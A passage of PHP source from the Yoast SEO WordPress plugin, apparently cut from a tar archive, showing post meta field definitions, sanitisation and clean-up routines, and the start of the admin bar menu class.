				else {
					// Meta will always be a string, so let's make the meta meta default also a string.
					self::$defaults[ self::$meta_prefix . $key ] = '';
				}
			}
		}
		unset( $subset, $field_group, $key, $field_def );

		self::filter_schema_article_types();

		add_filter( 'update_post_metadata', [ self::class, 'remove_meta_if_default' ], 10, 5 );
		add_filter( 'add_post_metadata', [ self::class, 'dont_save_meta_if_default' ], 10, 4 );
	}

	/**
	 * Retrieve the meta box form field definitions for the given tab and post type.
	 *
	 * @param string $tab       Tab for which to retrieve the field definitions.
	 * @param string $post_type Post type of the current post.
	 *
	 * @return array Array containing the meta box field definitions.
	 */
	public static function get_meta_field_defs( $tab, $post_type = 'post' ) {
		if ( ! isset( self::$meta_fields[ $tab ] ) ) {
			return [];
		}

		$field_defs = self::$meta_fields[ $tab ];

		switch ( $tab ) {
			case 'non-form':
				// Prevent non-form fields from being passed to forms.
				$field_defs = [];
				break;

			case 'advanced':
				global $post;

				if ( ! WPSEO_Capability_Utils::current_user_can( 'wpseo_edit_advanced_metadata' ) && WPSEO_Options::get( 'disableadvanced_meta' ) ) {
					return [];
				}

				$post_type = '';
				if ( isset( $post->post_type ) ) {
					$post_type = $post->post_type;
				}
				elseif ( ! isset( $post->post_type ) && isset( $_GET['post_type'] ) ) {
					$post_type = sanitize_text_field( $_GET['post_type'] );
				}

				if ( $post_type === '' ) {
					return [];
				}

				/* Don't show the breadcrumb title field if breadcrumbs aren't enabled. */
				if ( WPSEO_Options::get( 'breadcrumbs-enable', false ) !== true && ! current_theme_supports( 'yoast-seo-breadcrumbs' ) ) {
					unset( $field_defs['bctitle'] );
				}

				if ( empty( $post->ID ) || ( ! empty( $post->ID ) && self::get_value( 'redirect', $post->ID ) === '' ) ) {
					unset( $field_defs['redirect'] );
				}
				break;

			case 'schema':
				if ( ! WPSEO_Capability_Utils::current_user_can( 'wpseo_edit_advanced_metadata' ) && WPSEO_Options::get( 'disableadvanced_meta' ) ) {
					return [];
				}

				$field_defs['schema_page_type']['default'] = WPSEO_Options::get( 'schema-page-type-' . $post_type );

				$article_helper = new Article_Helper();
				if ( $article_helper->is_article_post_type( $post_type ) ) {
					$default_schema_article_type = WPSEO_Options::get( 'schema-article-type-' . $post_type );

					/** This filter is documented in inc/options/class-wpseo-option-titles.php */
					$allowed_article_types = apply_filters( 'wpseo_schema_article_types', Schema_Types::ARTICLE_TYPES );

					if ( ! array_key_exists( $default_schema_article_type, $allowed_article_types ) ) {
						$default_schema_article_type = WPSEO_Options::get_default( 'wpseo_titles', 'schema-article-type-' . $post_type );
					}
					$field_defs['schema_article_type']['default'] = $default_schema_article_type;
				}
				else {
					unset( $field_defs['schema_article_type'] );
				}

				break;
		}

		/**
		 * Filter the WPSEO metabox form field definitions for a tab.
		 * {tab} can be 'general', 'advanced' or 'social'.
		 *
		 * @param array  $field_defs Metabox form field definitions.
		 * @param string $post_type  Post type of the post the metabox is for, defaults to 'post'.
		 *
		 * @return array
		 */
		return apply_filters( 'wpseo_metabox_entries_' . $tab, $field_defs, $post_type );
	}

	/**
	 * Validate the post meta values.
	 *
	 * @param mixed  $meta_value The new value.
	 * @param string $meta_key   The full meta key (including prefix).
	 *
	 * @return string Validated meta value.
	 */
	public static function sanitize_post_meta( $meta_value, $meta_key ) {
		$field_def = self::$meta_fields[ self::$fields_index[ $meta_key ]['subset'] ][ self::$fields_index[ $meta_key ]['key'] ];
		$clean     = self::$defaults[ $meta_key ];

		switch ( true ) {
			case ( $meta_key === self::$meta_prefix . 'linkdex' ):
				$int = WPSEO_Utils::validate_int( $meta_value );
				if ( $int !== false && $int >= 0 ) {
					$clean = strval( $int ); // Convert to string to make sure default check works.
				}
				break;

			case ( $field_def['type'] === 'checkbox' ):
				// Only allow value if it's one of the predefined options.
				if ( in_array( $meta_value, [ 'on', 'off' ], true ) ) {
					$clean = $meta_value;
				}
				break;

			case ( $field_def['type'] === 'select' || $field_def['type'] === 'radio' ):
				// Only allow value if it's one of the predefined options.
				if ( isset( $field_def['options'][ $meta_value ] ) ) {
					$clean = $meta_value;
				}
				break;

			case ( $field_def['type'] === 'hidden' && $meta_key === self::$meta_prefix . 'meta-robots-adv' ):
				$clean = self::validate_meta_robots_adv( $meta_value );
				break;

			case ( $field_def['type'] === 'url' || $meta_key === self::$meta_prefix . 'canonical' ):
				// Validate as url(-part).
				$url = WPSEO_Utils::sanitize_url( $meta_value );
				if ( $url !== '' ) {
					$clean = $url;
				}
				break;

			case ( $field_def['type'] === 'upload' && in_array( $meta_key, [ self::$meta_prefix . 'opengraph-image', self::$meta_prefix . 'twitter-image' ], true ) ):
				// Validate as url.
				$url = WPSEO_Utils::sanitize_url( $meta_value, [ 'http', 'https', 'ftp', 'ftps' ] );
				if ( $url !== '' ) {
					$clean = $url;
				}
				break;

			case ( $field_def['type'] === 'hidden' && $meta_key === self::$meta_prefix . 'is_cornerstone' ):
				$clean = $meta_value;

				/*
				 * This used to be a checkbox, then became a hidden input.
				 * To make sure the value remains consistent, we cast 'true' to '1'.
				 */
				if ( $meta_value === 'true' ) {
					$clean = '1';
				}
				break;

			case ( $field_def['type'] === 'hidden' && isset( $field_def['options'] ) ):
				// Only allow value if it's one of the predefined options.
				if ( isset( $field_def['options'][ $meta_value ] ) ) {
					$clean = $meta_value;
				}
				break;

			case ( $field_def['type'] === 'textarea' ):
				if ( is_string( $meta_value ) ) {
					// Remove line breaks and tabs.
					// @todo [JRF => Yoast] Verify that line breaks and the likes aren't allowed/recommended in meta header fields.
					$meta_value = str_replace( [ "\n", "\r", "\t", '  ' ], ' ', $meta_value );
					$clean      = WPSEO_Utils::sanitize_text_field( trim( $meta_value ) );
				}
				break;

			case ( $field_def['type'] === 'multiselect' ):
				$clean = $meta_value;
				break;

			case ( $field_def['type'] === 'text' ):
			default:
				if ( is_string( $meta_value ) ) {
					$clean = WPSEO_Utils::sanitize_text_field( trim( $meta_value ) );
				}

				break;
		}

		$clean = apply_filters( 'wpseo_sanitize_post_meta_' . $meta_key, $clean, $meta_value, $field_def, $meta_key );

		return $clean;
	}

	/**
	 * Validate a meta-robots-adv meta value.
	 *
	 * @todo [JRF => Yoast] Verify that this logic for the prioritisation is correct.
	 *
	 * @param array|string $meta_value The value to validate.
	 *
	 * @return string Clean value.
	 */
	public static function validate_meta_robots_adv( $meta_value ) {
		$clean   = self::$meta_fields['advanced']['meta-robots-adv']['default_value'];
		$options = self::$meta_fields['advanced']['meta-robots-adv']['options'];

		if ( is_string( $meta_value ) ) {
			$meta_value = explode( ',', $meta_value );
		}

		if ( is_array( $meta_value ) && $meta_value !== [] ) {
			$meta_value = array_map( 'trim', $meta_value );

			// Individual selected entries.
			$cleaning = [];
			foreach ( $meta_value as $value ) {
				if ( isset( $options[ $value ] ) ) {
					$cleaning[] = $value;
				}
			}

			if ( $cleaning !== [] ) {
				$clean = implode( ',', $cleaning );
			}
			unset( $cleaning, $value );
		}

		return $clean;
	}

	/**
	 * Prevent saving of default values and remove potential old value from the database if replaced by a default.
	 *
	 * @param bool   $check      The current status to allow updating metadata for the given type.
	 * @param int    $object_id  ID of the current object for which the meta is being updated.
	 * @param string $meta_key   The full meta key (including prefix).
	 * @param string $meta_value New meta value.
	 * @param string $prev_value The old meta value.
	 *
	 * @return bool|null True = stop saving, null = continue saving.
	 */
	public static function remove_meta_if_default( $check, $object_id, $meta_key, $meta_value, $prev_value = '' ) {
		/* If it's one of our meta fields, check against default. */
		if ( isset( self::$fields_index[ $meta_key ] ) && self::meta_value_is_default( $meta_key, $meta_value ) === true ) {
			if ( $prev_value !== '' ) {
				delete_post_meta( $object_id, $meta_key, $prev_value );
			}
			else {
				delete_post_meta( $object_id, $meta_key );
			}

			return true; // Stop saving the value.
		}

		return $check; // Go on with the normal execution (update) in meta.php.
	}

	/**
	 * Prevent adding of default values to the database.
	 *
	 * @param bool   $check      The current status to allow adding metadata for the given type.
	 * @param int    $object_id  ID of the current object for which the meta is being added.
	 * @param string $meta_key   The full meta key (including prefix).
	 * @param string $meta_value New meta value.
	 *
	 * @return bool|null True = stop saving, null = continue saving.
	 */
	public static function dont_save_meta_if_default( $check, $object_id, $meta_key, $meta_value ) {
		/* If it's one of our meta fields, check against default. */
		if ( isset( self::$fields_index[ $meta_key ] ) && self::meta_value_is_default( $meta_key, $meta_value ) === true ) {
			return true; // Stop saving the value.
		}

		return $check; // Go on with the normal execution (add) in meta.php.
	}

	/**
	 * Is the given meta value the same as the default value ?
	 *
	 * @param string $meta_key   The full meta key (including prefix).
	 * @param mixed  $meta_value The value to check.
	 *
	 * @return bool
	 */
	public static function meta_value_is_default( $meta_key, $meta_value ) {
		return ( isset( self::$defaults[ $meta_key ] ) && $meta_value === self::$defaults[ $meta_key ] );
	}

	/**
	 * Get a custom post meta value.
	 *
	 * Returns the default value if the meta value has not been set.
	 *
	 * {@internal Unfortunately there isn't a filter available to hook into before returning
	 *            the results for get_post_meta(), get_post_custom() and the likes. That
	 *            would have been the preferred solution.}}
	 *
	 * @param string $key    Internal key of the value to get (without prefix).
	 * @param int    $postid Post ID of the post to get the value for.
	 *
	 * @return string All 'normal' values returned from get_post_meta() are strings.
	 *                Objects and arrays are possible, but not used by this plugin
	 *                and therefore discarted (except when the special 'serialized' field def
	 *                value is set to true - only used by add-on plugins for now).
	 *                Will return the default value if no value was found.
	 *                Will return empty string if no default was found (not one of our keys) or
	 *                if the post does not exist.
	 */
	public static function get_value( $key, $postid = 0 ) {
		global $post;

		$postid = absint( $postid );
		if ( $postid === 0 ) {
			if ( ( isset( $post ) && is_object( $post ) ) && ( isset( $post->post_status ) && $post->post_status !== 'auto-draft' ) ) {
				$postid = $post->ID;
			}
			else {
				return '';
			}
		}

		$custom    = get_post_custom( $postid ); // Array of strings or empty array.
		$table_key = self::$meta_prefix . $key;

		// Populate the field_def using the field_index lookup array.
		$field_def = [];
		if ( isset( self::$fields_index[ $table_key ] ) ) {
			$field_def = self::$meta_fields[ self::$fields_index[ $table_key ]['subset'] ][ self::$fields_index[ $table_key ]['key'] ];
		}

		// Check if we have a custom post meta entry.
		if ( isset( $custom[ $table_key ][0] ) ) {
			$unserialized = maybe_unserialize( $custom[ $table_key ][0] );

			// Check if it is already unserialized.
			if ( $custom[ $table_key ][0] === $unserialized ) {
				return $custom[ $table_key ][0];
			}

			// Check whether we need to unserialize it.
			if ( isset( $field_def['serialized'] ) && $field_def['serialized'] === true ) {
				// Ok, serialize value expected/allowed.
				return $unserialized;
			}
		}

		// Meta was either not found or found, but object/array while not allowed to be.
		if ( isset( self::$defaults[ self::$meta_prefix . $key ] ) ) {
			// Update the default value to the current post type.
			switch ( $key ) {
				case 'schema_page_type':
				case 'schema_article_type':
					return '';
			}

			return self::$defaults[ self::$meta_prefix . $key ];
		}

		/*
		 * Shouldn't ever happen, means not one of our keys as there will always be a default available
		 * for all our keys.
		 */
		return '';
	}

	/**
	 * Update a meta value for a post.
	 *
	 * @param string $key        The internal key of the meta value to change (without prefix).
	 * @param mixed  $meta_value The value to set the meta to.
	 * @param int    $post_id    The ID of the post to change the meta for.
	 *
	 * @return bool Whether the value was changed.
	 */
	public static function set_value( $key, $meta_value, $post_id ) {
		/*
		 * Slash the data, because `update_metadata` will unslash it and we have already unslashed it.
		 * Related issue: https://github.com/Yoast/YoastSEO.js/issues/2158
		 */
		$meta_value = wp_slash( $meta_value );

		return update_post_meta( $post_id, self::$meta_prefix . $key, $meta_value );
	}

	/**
	 * Deletes a meta value for a post.
	 *
	 * @param string $key     The internal key of the meta value to change (without prefix).
	 * @param int    $post_id The ID of the post to delete the meta for.
	 *
	 * @return bool Whether the delete was successful or not.
	 */
	public static function delete( $key, $post_id ) {
		return delete_post_meta( $post_id, self::$meta_prefix . $key );
	}

	/**
	 * Used for imports, this functions imports the value of $old_metakey into $new_metakey for those post
	 * where no WPSEO meta data has been set.
	 * Optionally deletes the $old_metakey values.
	 *
	 * @param string $old_metakey The old key of the meta value.
	 * @param string $new_metakey The new key, usually the WPSEO meta key (including prefix).
	 * @param bool   $delete_old  Whether to delete the old meta key/value-sets.
	 *
	 * @return void
	 */
	public static function replace_meta( $old_metakey, $new_metakey, $delete_old = false ) {
		global $wpdb;

		/*
		 * Get only those rows where no wpseo meta values exist for the same post
		 * (with the exception of linkdex as that will be set independently of whether the post has been edited).
		 *
		 * {@internal Query is pretty well optimized this way.}}
		 */
		$query  = $wpdb->prepare(
			"
				SELECT `a`.*
				FROM {$wpdb->postmeta} AS a
				WHERE `a`.`meta_key` = %s
					AND NOT	EXISTS (
						SELECT DISTINCT `post_id` , count( `meta_id` ) AS count
						FROM {$wpdb->postmeta} AS b
						WHERE `a`.`post_id` = `b`.`post_id`
							AND `meta_key` LIKE %s
							AND `meta_key` <> %s
						GROUP BY `post_id`
					)
				;",
			$old_metakey,
			$wpdb->esc_like( self::$meta_prefix . '%' ),
			self::$meta_prefix . 'linkdex'
		);
		$oldies = $wpdb->get_results( $query );

		if ( is_array( $oldies ) && $oldies !== [] ) {
			foreach ( $oldies as $old ) {
				update_post_meta( $old->post_id, $new_metakey, $old->meta_value );
			}
		}

		// Delete old keys.
		if ( $delete_old === true ) {
			delete_post_meta_by_key( $old_metakey );
		}
	}

	/**
	 * General clean-up of the saved meta values.
	 * - Remove potentially lingering old meta keys;
	 * - Remove all default and invalid values.
	 *
	 * @return void
	 */
	public static function clean_up() {
		global $wpdb;

		/*
		 * Clean up '_yoast_wpseo_meta-robots'.
		 *
		 * Retrieve all '_yoast_wpseo_meta-robots' meta values and convert if no new values found.
		 *
		 * {@internal Query is pretty well optimized this way.}}
		 *
		 * @todo [JRF => Yoast] Find out all possible values which the old '_yoast_wpseo_meta-robots' could contain
		 * to convert the data correctly.
		 */
		$query  = $wpdb->prepare(
			"
				SELECT `a`.*
				FROM {$wpdb->postmeta} AS a
				WHERE `a`.`meta_key` = %s
					AND NOT	EXISTS (
						SELECT DISTINCT `post_id` , count( `meta_id` ) AS count
						FROM {$wpdb->postmeta} AS b
						WHERE `a`.`post_id` = `b`.`post_id`
							AND ( `meta_key` = %s
							OR `meta_key` = %s )
						GROUP BY `post_id`
					)
				;",
			self::$meta_prefix . 'meta-robots',
			self::$meta_prefix . 'meta-robots-noindex',
			self::$meta_prefix . 'meta-robots-nofollow'
		);
		$oldies = $wpdb->get_results( $query );

		if ( is_array( $oldies ) && $oldies !== [] ) {
			foreach ( $oldies as $old ) {
				$old_values = explode( ',', $old->meta_value );
				foreach ( $old_values as $value ) {
					if ( $value === 'noindex' ) {
						update_post_meta( $old->post_id, self::$meta_prefix . 'meta-robots-noindex', 1 );
					}
					elseif ( $value === 'nofollow' ) {
						update_post_meta( $old->post_id, self::$meta_prefix . 'meta-robots-nofollow', 1 );
					}
				}
			}
		}
		unset( $query, $oldies, $old, $old_values, $value );

		// Delete old keys.
		delete_post_meta_by_key( self::$meta_prefix . 'meta-robots' );

		/*
		 * Remove all default values and (most) invalid option values.
		 * Invalid option values for the multiselect (meta-robots-adv) field will be dealt with seperately.
		 *
		 * {@internal Some of the defaults have changed in v1.5, but as the defaults will
		 *            be removed and new defaults will now automatically be passed when no
		 *            data found, this update is automatic (as long as we remove the old
		 *            values which we do in the below routine).}}
		 *
		 * {@internal Unfortunately we can't use the normal delete_meta() with key/value combination
		 *            as '' (empty string) values will be ignored and would result in all metas
		 *            with that key being deleted, not just the empty fields.
		 *            Still, the below implementation is largely based on the delete_meta() function.}}
		 */
		$query = [];

		foreach ( self::$meta_fields as $subset => $field_group ) {
			foreach ( $field_group as $key => $field_def ) {
				if ( ! isset( $field_def['default_value'] ) ) {
					continue;
				}

				if ( isset( $field_def['options'] ) && is_array( $field_def['options'] ) && $field_def['options'] !== [] ) {
					$valid = $field_def['options'];
					// Remove the default value from the valid options.
					unset( $valid[ $field_def['default_value'] ] );
					$valid = array_keys( $valid );

					$query[] = $wpdb->prepare(
						"( meta_key = %s AND meta_value NOT IN ( '" . implode( "','", esc_sql( $valid ) ) . "' ) )",
						self::$meta_prefix . $key
					);
					unset( $valid );
				}
				elseif ( is_string( $field_def['default_value'] ) && $field_def['default_value'] !== '' ) {
					$query[] = $wpdb->prepare(
						'( meta_key = %s AND meta_value = %s )',
						self::$meta_prefix . $key,
						$field_def['default_value']
					);
				}
				else {
					$query[] = $wpdb->prepare(
						"( meta_key = %s AND meta_value = '' )",
						self::$meta_prefix . $key
					);
				}
			}
		}
		unset( $subset, $field_group, $key, $field_def );

		$query    = "SELECT meta_id FROM {$wpdb->postmeta} WHERE " . implode( ' OR ', $query ) . ';';
		$meta_ids = $wpdb->get_col( $query );

		if ( is_array( $meta_ids ) && $meta_ids !== [] ) {
			// WP native action.
			do_action( 'delete_post_meta', $meta_ids, null, null, null );

			$query = "DELETE FROM {$wpdb->postmeta} WHERE meta_id IN( " . implode( ',', $meta_ids ) . ' )';
			$count = $wpdb->query( $query );

			if ( $count ) {
				foreach ( $meta_ids as $object_id ) {
					wp_cache_delete( $object_id, 'post_meta' );
				}

				// WP native action.
				do_action( 'deleted_post_meta', $meta_ids, null, null, null );
			}
		}
		unset( $query, $meta_ids, $count, $object_id );

		/*
		 * Deal with the multiselect (meta-robots-adv) field.
		 *
		 * Removes invalid option combinations, such as 'none,noarchive'.
		 *
		 * Default values have already been removed, so we should have a small result set and
		 * (hopefully) even smaller set of invalid results.
		 */
		$query  = $wpdb->prepare(
			"SELECT meta_id, meta_value FROM {$wpdb->postmeta} WHERE meta_key = %s",
			self::$meta_prefix . 'meta-robots-adv'
		);
		$oldies = $wpdb->get_results( $query );

		if ( is_array( $oldies ) && $oldies !== [] ) {
			foreach ( $oldies as $old ) {
				$clean = self::validate_meta_robots_adv( $old->meta_value );

				if ( $clean !== $old->meta_value ) {
					if ( $clean !== self::$meta_fields['advanced']['meta-robots-adv']['default_value'] ) {
						update_metadata_by_mid( 'post', $old->meta_id, $clean );
					}
					else {
						delete_metadata_by_mid( 'post', $old->meta_id );
					}
				}
			}
		}
		unset( $query, $oldies, $old, $clean );

		do_action( 'wpseo_meta_clean_up' );
	}

	/**
	 * Recursively merge a variable number of arrays, using the left array as base,
	 * giving priority to the right array.
	 *
	 * Difference with native array_merge_recursive():
	 * array_merge_recursive converts values with duplicate keys to arrays rather than
	 * overwriting the value in the first array with the duplicate value in the second array.
	 *
	 * array_merge_recursive_distinct does not change the data types of the values in the arrays.
	 * Matching keys' values in the second array overwrite those in the first array, as is the
	 * case with array_merge.
	 *
	 * Freely based on information found on http://www.php.net/manual/en/function.array-merge-recursive.php
	 *
	 * {@internal Should be moved to a general utility class.}}
	 *
	 * @return array
	 */
	public static function array_merge_recursive_distinct() {

		$arrays = func_get_args();
		if ( count( $arrays ) < 2 ) {
			if ( $arrays === [] ) {
				return [];
			}
			else {
				return $arrays[0];
			}
		}

		$merged = array_shift( $arrays );

		foreach ( $arrays as $array ) {
			foreach ( $array as $key => $value ) {
				if ( is_array( $value ) && ( isset( $merged[ $key ] ) && is_array( $merged[ $key ] ) ) ) {
					$merged[ $key ] = self::array_merge_recursive_distinct( $merged[ $key ], $value );
				}
				else {
					$merged[ $key ] = $value;
				}
			}
			unset( $key, $value );
		}

		return $merged;
	}

	/**
	 * Counts the total of all the keywords being used for posts except the given one.
	 *
	 * @param string $keyword The keyword to be counted.
	 * @param int    $post_id The id of the post to which the keyword belongs.
	 *
	 * @return array
	 */
	public static function keyword_usage( $keyword, $post_id ) {

		if ( empty( $keyword ) ) {
			return [];
		}

		/**
		 * The indexable repository.
		 *
		 * @var Indexable_Repository
		 */
		$repository = YoastSEO()->classes->get( Indexable_Repository::class );

		$post_ids = $repository->query()
			->select( 'object_id' )
			->where( 'primary_focus_keyword', $keyword )
			->where( 'object_type', 'post' )
			->where_not_equal( 'object_id', $post_id )
			->where_not_equal( 'post_status', 'trash' )
			->limit( 2 )    // Limit to 2 results to save time and resources.
			->find_array();

		// Get object_id from each subarray in $post_ids.
		$post_ids = ( is_array( $post_ids ) ) ? array_column( $post_ids, 'object_id' ) : [];

		/*
		 * If Premium is installed, get the additional keywords as well.
		 * We only check for the additional keywords if we've not already found two.
		 * In that case there's no use for an additional query as we already know
		 * that the keyword has been used multiple times before.
		 */
		if ( count( $post_ids ) < 2 ) {
			/**
			 * Allows enhancing the array of posts' that share their focus keywords with the post's focus keywords.
			 *
			 * @param array  $post_ids The array of posts' ids that share their related keywords with the post.
			 * @param string $keyword  The keyword to search for.
			 * @param int    $post_id  The id of the post the keyword is associated to.
			 */
			$post_ids = apply_filters( 'wpseo_posts_for_focus_keyword', $post_ids, $keyword, $post_id );
		}

		return $post_ids;
	}

	/**
	 * Returns the post types for the given post ids.
	 *
	 * @param array $post_ids The post ids to get the post types for.
	 *
	 * @return array The post types.
	 */
	public static function post_types_for_ids( $post_ids ) {

		/**
		 * The indexable repository.
		 *
		 * @var Indexable_Repository
		 */
		$repository = YoastSEO()->classes->get( Indexable_Repository::class );

		// Check if post ids is not empty.
		if ( ! empty( $post_ids ) ) {
			// Get the post subtypes for the posts that share the keyword.
			$post_types = $repository->query()
				->select( 'object_sub_type' )
				->where_in( 'object_id', $post_ids )
				->find_array();

			// Get object_sub_type from each subarray in $post_ids.
			$post_types = array_column( $post_types, 'object_sub_type' );
		}
		else {
			$post_types = [];
		}

		return $post_types;
	}

	/**
	 * Filter the schema article types.
	 *
	 * @return void
	 */
	public static function filter_schema_article_types() {
		/** This filter is documented in inc/options/class-wpseo-option-titles.php */
		self::$meta_fields['schema']['schema_article_type']['options'] = apply_filters( 'wpseo_schema_article_types', self::$meta_fields['schema']['schema_article_type']['options'] );
	}
}
wordpress-seo/inc/class-wpseo-admin-bar-menu.php000064400000065054147510273100015706 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO
 */

use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Score_Icon_Helper;
use Yoast\WP\SEO\Integrations\Support_Integration;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Presenters\Admin\Premium_Badge_Presenter;
use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Class for the Yoast SEO admin bar menu.
 */
class WPSEO_Admin_Bar_Menu implements WPSEO_WordPress_Integration {

	/**
	 * The identifier used for the menu.
	 *
	 * @var string
	 */
	public const MENU_IDENTIFIER = 'wpseo-menu';

	/**
	 * The identifier used for the Keyword Research submenu.
	 *
	 * @var string
	 */
	public const KEYWORD_RESEARCH_SUBMENU_IDENTIFIER = 'wpseo-kwresearch';

	/**
	 * The identifier used for the Analysis submenu.
	 *
	 * @var string
	 */
	public const ANALYSIS_SUBMENU_IDENTIFIER = 'wpseo-analysis';

	/**
	 * The identifier used for the Settings submenu.
	 *
	 * @var string
	 */
	public const SETTINGS_SUBMENU_IDENTIFIER = 'wpseo-settings';

	/**
	 * The identifier used for the Network Settings submenu.
	 *
	 * @var string
	 */
	public const NETWORK_SETTINGS_SUBMENU_IDENTIFIER = 'wpseo-network-settings';

	/**
	 * Asset manager instance.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Holds the Score_Icon_Helper instance.
	 *
	 * @var Score_Icon_Helper
	 */
	protected $indexable_repository;

	/**
	 * Holds the Score_Icon_Helper instance.
	 *
	 * @var Score_Icon_Helper
	 */
	protected $score_icon_helper;

	/**
	 * Holds the Product_Helper instance.
	 *
	 * @var Product_Helper
	 */
	protected $product_helper;

	/**
	 * Holds the shortlinker instance.
	 *
	 * @var WPSEO_Shortlinker
	 */
	protected $shortlinker;

	/**
	 * Whether SEO Score is enabled.
	 *
	 * @var bool
	 */
	protected $is_seo_enabled = null;

	/**
	 * Whether readability is enabled.
	 *
	 * @var bool
	 */
	protected $is_readability_enabled = null;

	/**
	 * The indexable for the current WordPress page, if found.
	 *
	 * @var bool|Indexable
	 */
	protected $current_indexable = null;

	/**
	 * Constructs the WPSEO_Admin_Bar_Menu.
	 *
	 * @param WPSEO_Admin_Asset_Manager|null $asset_manager        Optional. Asset manager to use.
	 * @param Indexable_Repository|null      $indexable_repository Optional. The Indexable_Repository.
	 * @param Score_Icon_Helper|null         $score_icon_helper    Optional. The Score_Icon_Helper.
	 * @param Product_Helper|null            $product_helper       Optional. The product helper.
	 * @param WPSEO_Shortlinker|null         $shortlinker          The shortlinker.
	 */
	public function __construct(
		?WPSEO_Admin_Asset_Manager $asset_manager = null,
		?Indexable_Repository $indexable_repository = null,
		?Score_Icon_Helper $score_icon_helper = null,
		?Product_Helper $product_helper = null,
		?WPSEO_Shortlinker $shortlinker = null
	) {
		if ( ! $asset_manager ) {
			$asset_manager = new WPSEO_Admin_Asset_Manager();
		}
		if ( ! $indexable_repository ) {
			$indexable_repository = YoastSEO()->classes->get( Indexable_Repository::class );
		}
		if ( ! $score_icon_helper ) {
			$score_icon_helper = YoastSEO()->helpers->score_icon;
		}
		if ( ! $product_helper ) {
			$product_helper = YoastSEO()->helpers->product;
		}
		if ( ! $shortlinker ) {
			$shortlinker = new WPSEO_Shortlinker();
		}

		$this->product_helper       = $product_helper;
		$this->asset_manager        = $asset_manager;
		$this->indexable_repository = $indexable_repository;
		$this->score_icon_helper    = $score_icon_helper;
		$this->shortlinker          = $shortlinker;
	}

	/**
	 * Gets whether SEO score is enabled, with cache applied.
	 *
	 * @return bool True if SEO score is enabled, false otherwise.
	 */
	protected function get_is_seo_enabled() {
		if ( is_null( $this->is_seo_enabled ) ) {
			$this->is_seo_enabled = ( new WPSEO_Metabox_Analysis_SEO() )->is_enabled();
		}

		return $this->is_seo_enabled;
	}

	/**
	 * Gets whether readability is enabled, with cache applied.
	 *
	 * @return bool True if readability is enabled, false otherwise.
	 */
	protected function get_is_readability_enabled() {
		if ( is_null( $this->is_readability_enabled ) ) {
			$this->is_readability_enabled = ( new WPSEO_Metabox_Analysis_Readability() )->is_enabled();
		}

		return $this->is_readability_enabled;
	}

	/**
	 * Returns the indexable for the current WordPress page, with cache applied.
	 *
	 * @return bool|Indexable The indexable, false if none could be found.
	 */
	protected function get_current_indexable() {
		if ( is_null( $this->current_indexable ) ) {
			$this->current_indexable = $this->indexable_repository->for_current_page();
		}

		return $this->current_indexable;
	}

	/**
	 * Adds the admin bar menu.
	 *
	 * @param WP_Admin_Bar $wp_admin_bar Admin bar instance to add the menu to.
	 *
	 * @return void
	 */
	public function add_menu( WP_Admin_Bar $wp_admin_bar ) {
		// On block editor pages, the admin bar only shows on mobile, where having this menu icon is not very helpful.
		if ( is_admin() ) {
			$screen = get_current_screen();
			if ( isset( $screen ) && $screen->is_block_editor() ) {
				return;
			}
		}

		// If the current user can't write posts, this is all of no use, so let's not output an admin menu.
		if ( ! current_user_can( 'edit_posts' ) ) {
			return;
		}

		$this->add_root_menu( $wp_admin_bar );

		/**
		 * Adds a submenu item in the top of the adminbar.
		 *
		 * @param WP_Admin_Bar $wp_admin_bar    Admin bar instance to add the menu to.
		 * @param string       $menu_identifier The menu identifier.
		 */
		do_action( 'wpseo_add_adminbar_submenu', $wp_admin_bar, self::MENU_IDENTIFIER );

		if ( ! is_admin() ) {

			if ( is_singular() || is_tag() || is_tax() || is_category() ) {
				$is_seo_enabled         = $this->get_is_seo_enabled();
				$is_readability_enabled = $this->get_is_readability_enabled();

				$indexable = $this->get_current_indexable();

				if ( $is_seo_enabled ) {
					$focus_keyword = ( ! is_a( $indexable, 'Yoast\WP\SEO\Models\Indexable' ) || is_null( $indexable->primary_focus_keyword ) ) ? __( 'not set', 'wordpress-seo' ) : $indexable->primary_focus_keyword;

					$wp_admin_bar->add_menu(
						[
							'parent' => self::MENU_IDENTIFIER,
							'id'     => 'wpseo-seo-focus-keyword',
							'title'  => __( 'Focus keyphrase: ', 'wordpress-seo' ) . '<span class="wpseo-focus-keyword">' . $focus_keyword . '</span>',
							'meta'   => [ 'tabindex' => '0' ],
						]
					);
					$wp_admin_bar->add_menu(
						[
							'parent' => self::MENU_IDENTIFIER,
							'id'     => 'wpseo-seo-score',
							'title'  => __( 'SEO score', 'wordpress-seo' ) . ': ' . $this->score_icon_helper->for_seo( $indexable, 'adminbar-sub-menu-score' )
									->present(),
							'meta'   => [ 'tabindex' => '0' ],
						]
					);
				}

				if ( $is_readability_enabled ) {
					$wp_admin_bar->add_menu(
						[
							'parent' => self::MENU_IDENTIFIER,
							'id'     => 'wpseo-readability-score',
							'title'  => __( 'Readability', 'wordpress-seo' ) . ': ' . $this->score_icon_helper->for_readability( $indexable->readability_score, 'adminbar-sub-menu-score' )
									->present(),
							'meta'   => [ 'tabindex' => '0' ],
						]
					);
				}

				if ( ! $this->product_helper->is_premium() ) {
					$wp_admin_bar->add_menu(
						[
							'parent' => self::MENU_IDENTIFIER,
							'id'     => 'wpseo-frontend-inspector',
							'href'   => $this->shortlinker->build_shortlink( 'https://yoa.st/admin-bar-frontend-inspector' ),
							'title'  => __( 'Front-end SEO inspector', 'wordpress-seo' ) . new Premium_Badge_Presenter( 'wpseo-frontend-inspector-badge' ),
							'meta'   => [
								'tabindex' => '0',
								'target'   => '_blank',
							],
						]
					);
				}
			}
			$this->add_analysis_submenu( $wp_admin_bar );
			$this->add_seo_tools_submenu( $wp_admin_bar );
			$this->add_how_to_submenu( $wp_admin_bar );
			$this->add_get_help_submenu( $wp_admin_bar );
		}

		if ( ! is_admin() || is_blog_admin() ) {
			$this->add_settings_submenu( $wp_admin_bar );
		}
		elseif ( is_network_admin() ) {
			$this->add_network_settings_submenu( $wp_admin_bar );
		}

		if ( ! $this->product_helper->is_premium() ) {
			$this->add_premium_link( $wp_admin_bar );
		}
	}

	/**
	 * Enqueues admin bar assets.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		if ( ! is_admin_bar_showing() ) {
			return;
		}

